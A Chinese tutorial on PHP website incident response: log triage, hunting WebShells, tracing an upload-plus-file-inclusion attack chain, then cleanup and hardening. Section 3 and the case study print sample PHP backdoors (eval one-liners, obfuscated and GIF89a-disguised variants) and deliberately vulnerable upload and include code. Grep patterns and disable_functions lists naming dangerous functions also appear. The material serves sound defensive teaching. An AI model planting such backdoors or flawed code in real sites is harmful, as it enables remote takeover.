ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

PHP网站被入侵后如何溯源:日志分析、WebShell排查与攻击链还原实战

PHP网站被入侵后如何溯源:日志分析、WebShell排查与攻击链还原实战 如果有人丢给你一台已经被入侵的PHP网站让你回答“攻击者是从哪个漏洞进来的、留下了什么后门、IP是什么”你会从哪下手这正是“php分析溯源”这类任务的核心场景也是我在墨者学院这类实战平台刷题、以及在真实应急响应里经常要做的流程。很多人卡住不是不知道WebShell长什么样而是没有建立一条从现象反推原因的排查主线最后变成到处翻文件、越翻越乱。这篇文章我会从一次典型的溯源分析入手把日志排查、恶意代码识别、源码审计、攻击链还原到清理加固的完整链路讲透。不管你是刚接触安全的小白还是要接手网站应急响应的运维和开发这套方法都适用。核心就一句话把关注点从“找马”升级到“还原入侵时间线”。1. 拿到“被黑的PHP站点”先给排查主线1.1 溯源题到底要你交出什么先拆解一下目标。墨者学院上的php分析溯源类题目多数会给你一个模拟被入侵的网站环境或者是一套打包好的源码加日志然后要求你回答若干可验证的问题后门文件的完整路径、攻击者使用的IP、恶意请求参数、被利用的漏洞点等。本质上考核的不是单一技能而是“应急响应中的攻击溯源”能力。这一点和纯代码审计完全不一样。代码审计是正方向在没有明确的攻击事故时从代码里挖潜在漏洞。溯源是逆方向已经出事了你要从攻击结果出发比如首页被篡改、目录里多出可疑文件、数据库被拖走倒推攻击者是怎么进来的。打个比方家里被偷了你第一件事不是研究家里哪把锁理论上最不结实而是看监控回放、检查门窗、清点少了什么再回来判断小偷的进入方式。放到Web场景里“看监控”就是翻访问日志、查攻击者连接记录“检查门窗”就是找后门文件、对比文件修改时间“清点损失”则是评估数据库、配置、用户信息有没有被波及。1.2 落地的第一步备份现场、记录时间基线我接手任何一台被黑机器第一件事永远是“留证据”而不是着急删文件。先对网站目录做一份只读备份记录当前系统时间再统计前后端文件的修改时间变化。在Linux环境里我习惯先执行这几条命令# 记录当前系统时间 date # 备份网站源码注意压缩排除大日志 tar czf /tmp/backup_www_$(date %Y%m%d_%H%M%S).tar.gz /var/www/html --exclude*.log # 查看最近10天内被修改的PHP文件 find /var/www/html -type f -name *.php -mtime -10 -exec ls -la --time-stylefull-iso {} \;第一条指令记录你开始分析的时间这是时间轴的原点。第二条把现场完整保存下来防止分析过程中误改文件也方便事后退查。第三条最实用它能快速圈定攻击窗口内的文件改动机后门十有八九就藏在这个结果里。为什么先做这三步因为溯源最终要交出一份有说服力的结论必须能说清“哪个文件、在什么时间、被谁改动”。如果你一上来就改文件、删掉可疑文件原始证据就被破坏了。真实应急里这会直接导致无法定责所以好习惯要从模拟环境里练起来。2. 先从日志里找线索访问日志与错误日志排查技巧2.1 哪些日志值得看怎么看拿到现场之后我一般不会立刻去读源码而是先翻日志。因为攻击者在源码里留下的东西在日志里往往会留下更直接的痕迹。优先看四类日志Web访问日志Nginx的access.log或Apache的access_log记录所有HTTP请求。Web错误日志error.log/error_log经常能暴露异常参数导致的报错。PHP错误日志php.ini里配置的log文件可能出现漏洞触发时的warning和notice。系统登录与操作日志如果环境是完整容器还要看bash_history和/var/log/auth.log。日志看得快有一个小技巧先按时间排序攻击往往集中在一个短窗口期找到那段时间内异常密集的请求比漫无目的地看几万行日志高效得多。# 查看最近500行访问日志Nginx tail -n 500 /var/log/nginx/access.log # 按时间筛选某一天的请求 grep 18/May/2024 /var/log/nginx/access.log # 统计访问最频繁的IP Top10 awk {print $1} /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -n 10我用一个实战常见的日志片段举例203.0.113.81 - - [18/May/2024:21:17:23 0800] POST /upfile.php HTTP/1.1 200 512 - Mozilla/5.0 203.0.113.81 - - [18/May/2024:21:17:41 0800] GET /down.php?fileuploads/shell.jpg HTTP/1.1 200 1321 - Mozilla/5.0 203.0.113.81 - - [18/May/2024:21:18:02 0800] POST /uploads/acc_2023.php HTTP/1.1 200 391 - Mozilla/5.0短短三条日志已经能看出攻击者的动作顺序先访问上传页面再请求一个疑似后门文件最后向该文件发POST请求。这个POST请求几乎可以确定是在连接WebShell。后门文件的路径都给你指出来了接下来只需去目录里核实。2.2 识别可疑请求的五个特征日志里什么样的请求需要额外留意我总结了五个高频特征特征典型表现怀疑方向异常POST频繁向PHP文件发POST响应体积很小WebShell连接、表单提交漏洞特殊文件后缀.php、.php5、.phtml出现在上传目录或静态目录后门文件、解析绕过参数异常file、cmd、shell、upload等敏感参数文件包含、命令执行UA不合法空UA、非主流浏览器UA、工具特征UA自动化扫描、WebShell管理工具时间集中多条请求在几十秒内完成人为手动攻击非流量噪音这五个特征不是单独看的。比如一条GET请求访问了正常的首页UA是百度蜘蛛那就没什么好紧张的。但如果是深夜两三点一个内网IP向uploads目录里的php文件连续发POST响应码还是200那基本就是后门已被连接。2.3 通过访问日志反查WebShell连接记录反查WebShell连接记录是溯源里最能直接定性的环节。攻击者连后门时会留下非常规律的请求模式连接路径固定、参数固定、间隔很短、响应体大小比较稳定。常见WebShell管理工具在流量上也有一定特征比如某些老牌工具默认的UA或payload结构比较固定。这里不展开讲攻击工具的使用但做防御的人必须认识它们某些工具默认UA会带自身版本号字样比如常见中国菜刀的特征。部分现代工具会伪造正常浏览器UA但请求频率和载荷长度仍然可疑。加密类WebShell通信内容看不出明文但访问路径和时间规律非常明显往往集中在某个文件上。我在分析时会把“访问后门文件的IP”和“后门文件的修改时间”对齐再结合源码漏洞位置基本就能把攻击者操作串起来。这一步输出的就是溯源报告里最关键的时间线。3. 揪出藏在文件里的WebShell恶意PHP代码识别与定位3.1 常见PHP后门的几种形态日志给出了线索但最终还是要回到文件本身。PHP后门从形态上分这么几类第一类是简单一句话木马。代码量最少一眼就能识别?php eval($_POST[x]);?这类木马用系统函数执行POST参数里的代码攻击者只要向这个文件发送命令就能控制网站。eval本身是PHP的语言构造器很多老站点的编辑器、模板引擎会用到所以不能简单见到eval就判恶意要结合上下文。第二类是混淆型后门。攻击者为了绕过文件扫描会把代码包上base64、gzdeflate、str_replace拼接等?php $a e . v . al; $a($_POST[x]);?这类文件的特征是大量使用字符串拼接、加密函数和可变函数。人工看代码很费劲但扫描规则可以覆盖到。判断时重点关注是否存在base64_decode、gzuncompress、hex2bin等解密函数以及解密后的字符串是不是代码。第三类是伪装型后门。文件名和内容都伪装成正常业务。比如把一句话写在index.php文件末尾或者用图片头GIF89a欺骗MIME校验实际内容却是一段PHPGIF89a ?php eval($_POST[x]);?还有一类是包含型后门文件本身不执行任何代码只等着被文件包含漏洞调用?php include($_GET[p]);?很多新手只看文件名字觉得jpg图片不是后门结果漏掉了严重的攻击入口。3.2 用“找异常文件”代替“读所有代码”鉴权到一个几十万行代码的CMS你要是从头读一遍黄花菜都凉了。正确做法是先锁定异常文件再针对性地审计。我推荐的命令组合如下# 1. 按修改时间筛选最近经常变动的PHP文件 find /var/www/html -name *.php -mtime -10 -printf %TY-%Tm-%Td %TH:%TM %p %s\n # 2. 搜索常见危险函数 grep -rInE (eval|assert|system|exec|shell_exec|passthru|popen|proc_open|base64_decode) /var/www/html --include*.php # 3. 查找隐藏文件或奇怪后缀 find /var/www/html -type f \( -name .* -o -name *.susp -o -name *.php7 \)实际操作中第一步和第二步要结合看。一个文件如果同时满足“最近刚被修改”和“包含eval/system”那它几乎就是后门不需要再翻别的文件。这里提醒一句上传目录里的PHP文件最值得怀疑。正常的业务网站uploads目录要么禁止执行PHP脚本要么干脆不存PHP文件。如果一个上传目录里躺着PHP文件先别急着判断是不是业务功能先看它是什么时候出现的、有没有日志对应。3.3 遇到混淆后门静态读不出来的处理混淆型后门是扫描的盲区。一句base64包三层的代码grep规则也很难覆盖全面。这种时候我一般做两件事。第一件事是本地搭一个干净的PHP环境把代码丢进去跑一遍观察行为。为了安全不要直接在被害环境里执行未知代码而是放到临时容器里禁掉对外网络只记录文件读写# 在临时目录执行一次开启严格报错 php -d display_errors1 -d error_reportingE_ALL -r include /tmp/suspicious.php;第二件事是提取代码里的字符串特征。用strings命令或者直接看代码里的URL、IP、文件名。很多混淆后门不管怎么加密总会在代码里保留C2地址或特殊URL这些字符串是断开混淆链条的钥匙。如果本地分析依然看不出问题就回到日志里找这个文件的请求记录看它被访问时的路径前缀和参数。后门最终是要被攻击者调用的调用行为比代码本身更能说明问题。4. 从后门反向审计漏洞入口定位与攻击链还原4.1 代码审计的“逆向”思路找到后门只是溯源的一半。另一半是解释这道门为什么能被打开。这就是从后门反推漏洞入口。方法的本质是“从落点找起点”。后门在uploads目录里说明攻击者通过文件上传功能把恶意脚本传了进来。后门是通过某个GET参数被包含的说明站里存在文件包含点。具体到代码里优先搜索下面几类高危入口# 文件上传相关 grep -rn move_uploaded_file /var/www/html --include*.php # 文件包含相关 grep -rnE include|require|include_once|require_once /var/www/html --include*.php # 命令执行相关 grep -rnE system|exec|shell_exec|passthru|\ /var/www/html --include*.php看上传代码时核心问题是它校验了什么是校验文件扩展名还是校验MIME类型还是只校验文件大小如果只校验content-type攻击者上传一个文件头是GIF89a、内容是PHP代码的文件就能成功绕过。看包含代码时核心问题是参数是否可控$_GET[file]直接拼进include就是典型的任意文件读取加代码执行组合。4.2 PHP高危函数清单与审计笔记以下是我做PHP审计时必查的“重点关注名单”新手可以直接把这页存下来对照类别危险函数典型漏洞场景命令执行system、exec、shell_exec、passthru、popen、proc_open拼接用户输入的命令行如 ping、nslookup代码执行eval、assert、preg_replace配合/e、create_function把用户输入当代码执行文件包含include、require、include_once、require_once参数未过滤包含任意文件或日志文件上传move_uploaded_file、copy扩展名校验不严导致上传脚本反序列化unserialize配合魔术方法触发RCE数据库操作mysqli_query、PDO::query拼接语句SQL注入利用into outfile写WebShell审计时最不能忽视的三件事第一看输入是否被过滤。站里常见引号、尖括号过滤但是过滤不全比如只过滤了$_POST没过滤$_COOKIE或者只是简单替换一次。第二看过滤是否能绕过。很多站点用的是黑名单却在过滤后直接拼进语句。黑名单里少了双写、大小写、url编码变量等于白做。第三看触发点是不是真的可达。有些漏洞函数写在后台管理页面里但后台本身没有鉴权或者session机制被绕过。4.3 用一个案例串起整条攻击链前面提到的日志片段我展开成一条完整攻击链攻击者IP是203.0.113.81在18日21:17访问了/upfile.php这是一个用户头像上传接口。后台的校验代码只检查了$_FILES[img][type]没有检查扩展名和文件内容$type $_FILES[img][type]; if ($type ! image/jpeg) { die(only jpg); } move_uploaded_file($_FILES[img][tmp_name], uploads/.$_FILES[img][name]);攻击者上传了一个文件头为GIF89a、后缀名为jpg、但内容为PHP一句话的“图片马”。系统没有拒绝文件被保存为uploads/shell.jpg。接下来攻击者访问了/down.php?fileuploads/shell.jpg。这段代码又有问题$file $_GET[file]; include($file);include把图片马当PHP代码执行了但一句话后门并没有落盘成php文件这还不够方便。于是攻击者在第二次连接时通过代码执行创建了真正的后门文件uploads/acc_2023.php内容是?php eval($_POST[x]);?日志里21:17:41到21:18:02这几条记录把“上传图片马、包含触发、落盘真正后门”的过程完整串起来。最终站点的沦陷是因为上传校验形同虚设、文件包含接口参数完全可控两处漏洞叠加导致。这就是溯源分析的核心产出攻击链清晰、每一步都有日志佐证、每个文件都有源码对应。5. 攻击者画像与证据固定5.1 从日志碎片拼出攻击者特征攻击者画像听起来玄乎其实就是在日志里找“谁、用什么、在什么时间、干了什么”。首先要固定的是IP。这个IP不一定是真实攻击者的出口IP也有可能是跳板但在题目环境里它就是你要找的答案。把和攻击相关的时间段内所有请求都拉出来确认哪些IP发起了异常请求。然后是工具特征。不同WebShell管理工具、扫描器在请求上有明显差异工具类型可观察特征溯源判断目录扫描器短时间内大量GET请求路径多为字典攻击前期侦察漏洞扫描器大量带注入特征的参数请求攻击者正在探测漏洞WebShell管理工具固定文件、固定参数的重复POST已控制后门正在交互加密WebShell流量看起来正常但请求文件集中在同一路径后门通信行为模式异常我一般把日志中攻击时间段内的条目导出再和工具特征表比对。比如某IP在几秒内请求了上百个不存在路径判断为目录爆破随后开始对upload、down这一类参数穷举判断为漏洞扫描最后聚焦到uploads目录下的php文件反复POST判断为WebShell连接。5.2 溯源结论怎么写溯源结束不等于提交一个文件名就完事。在真实应急里我需要写一份报告在墨者学院这类平台上答案通常也是按字段填写但逻辑是一样的。一份可用的溯源结论至少包括五个部分部分内容事件概述一句话说明某站点被入侵攻击源攻击者IP、工具、时间窗口攻击路径从哪个端口、哪个接口、哪个漏洞进入影响范围哪些文件被修改、哪些目录失陷、数据是否泄露处置建议删除后门、修复漏洞、加固配置写的时候记住每一个结论都要能对应到日志、文件或代码。不能写“疑似”、“可能”。没有证据的时间点宁可不写也别编。5.3 为什么不能急着删文件我见过不少新手发现后门之后第一件事就是直接删掉然后任务就算完成了。这在实际工作中是大忌。后门文件是攻击者留下的原始物证。删掉它之前至少要完成三件事记录文件的MD5/SHA1哈希值保留一份完整未修改的副本记录它的修改时间和权限数据。一旦删掉很多线索就断了比如攻击者通过什么漏洞写入的、写入时用了什么参数都无从验证。正确的处理顺序是先备份、再分析、最后才清理。如果条件允许把后门文件放到隔离目录而不是直接删除。6. 清理与加固删马之后还要做的事6.1 清残留不只有WebShell很多人以为删掉一个WebShell就结束了实际上入侵往往留了不止一个口子。攻击者拿下网站后通常还会做四件事创建更多后门、添加计划任务、写入SSH公钥、篡改业务文件。所以清理时要做完整排查# 排查计划任务 crontab -l cat /etc/crontab ls -la /var/spool/cron/ # 排查启动项和系统服务 systemctl list-unit-files --typeservice | grep -iE php|shell|cmd # 排查Web目录之外的可执行文件 find /tmp /var/tmp /dev/shm -type f -mtime -10 2/dev/null我在一次真实处置里攻击者把后门藏在了/tmp目录靠计划任务每5分钟拉取一次远程代码执行。你只清理WebShell完全没用下次还会被拉起来。所以删除后门之后一定要把进程、计划任务、临时目录一并过一遍。6.2 堵漏洞漏洞点修复的优先级清掉后门之后要把入口堵死否则前脚删干净、后脚又被打进来。修复优先级按这张表来优先级漏洞类型修复方向高文件上传扩展名白名单、随机文件名、上传目录禁止执行PHP高命令执行对参数做白名单按需禁用危险函数高文件包含include路径白名单过滤参数中的../中SQL注入参数化查询最小权限数据库账号中反序列化去掉多余魔术方法类限制unserialize输入来源具体的修复动作在PHP环境里常见的做法是; php.ini 中禁用高危险函数 disable_functions system,exec,passthru,shell_exec,popen,proc_open如果是Nginx限制上传目录不解析PHPlocation ~ /uploads/.*\.(php|php5|phtml)$ { deny all; }如果是Apache可以在上传目录放.htaccessFilesMatch \.(php|php5|phtml)$ Require all denied /FilesMatch修复完成后重新复现一遍攻击路径确认漏洞已经被阻断。如果还能上传、还能包含说明修复动作没生效。6.3 加固清单速查最后给你一份可以直接抄的加固清单项目操作PHP版本升级到官方维护中的版本关闭错误信息展示危险函数php.ini配置disable_functions禁用命令执行类函数上传目录禁止解析脚本图片文件做二次渲染数据库权限应用账号只授权所涉库表的最小权限文件权限站点文件owner与Web进程用户分离日志开启access/error日志、按天轮转、定期备份口令后台、数据库、SSH统一更换强口令加固不是做一次就完事。我在实战里看到的绝大多数反复失陷都是因为只删了马、没补洞。你把这两个环节分开问题就解决了一半。7. 常见问题与排查技巧实录7.1 五分钟速查表平时应急和刷题时我会把高频问题的排查步骤做成速查卡效率极高症状优先排查说明找不到后门文件看最近修改时间、查隐藏文件先按文件时间轴锁定再按特征扫描日志被清空看bash_history、备份日志、error_log攻击者也可能漏掉错误日志和备份后门扫描不到本地动态执行、拆加密字符串混淆型需还原行为不要只看源码网页异常但源码正常查数据库内容、模板缓存、CDN挂号内容可能写入数据库或缓存文件上传目录有PHP反查日志、确认文件来源判断是业务功能还是攻击者上传7.2 实操中的坑最后分享几个我踩过的坑都是真实教训。第一个坑直接在生产环境用grep全盘搜索。几万个小文件加上日志命令跑到一半服务器负载飙高业务直接受影响。正确做法是先复制备份然后到测试环境或者限制扫描目录范围比如只搜uploads和模板目录。第二个坑过于相信文件修改时间。攻击者完全可以用touch命令把后门文件时间改回正常值或者复制一个正常文件的时间戳。所以时间线只能作为辅助线索不能作为判恶意的唯一标准。第三个坑只分析PHP文件忽略其他扩展。很多站点会同时存在.php5、.phtml、.asp的旧遗留文件或者.user.ini、.htaccess被篡改的情况。检查时把范围放宽尤其不要漏掉.git目录和.svn目录这些往往是泄露源码的重灾区。第四个坑混淆后门直接运行导致本地环境中毒。在本地执行可疑PHP代码前一定放临时容器或虚拟机并且断网。我吃过一次亏在开发机跑了段带下载木马功能的混淆代码结果主机被写入了计划任务。从那以后所有未知代码一律沙箱执行。回到最开始的问题php分析溯源看起来是个找后门的技术活但真正摸了几个环境之后你会发现它考的是你在杂乱信息里建立秩序的能力。日志、文件、代码三者互相印证时间线一列出来攻击者的每一步就藏不住了。我在墨者学院这类平台上反复练这套流程越练越觉得它和真实应急响应完全一致先备份再分析后清理最后加固。把这四个词记牢下次再遇到被黑的PHP站你就有了一个稳定的起点。
返回列表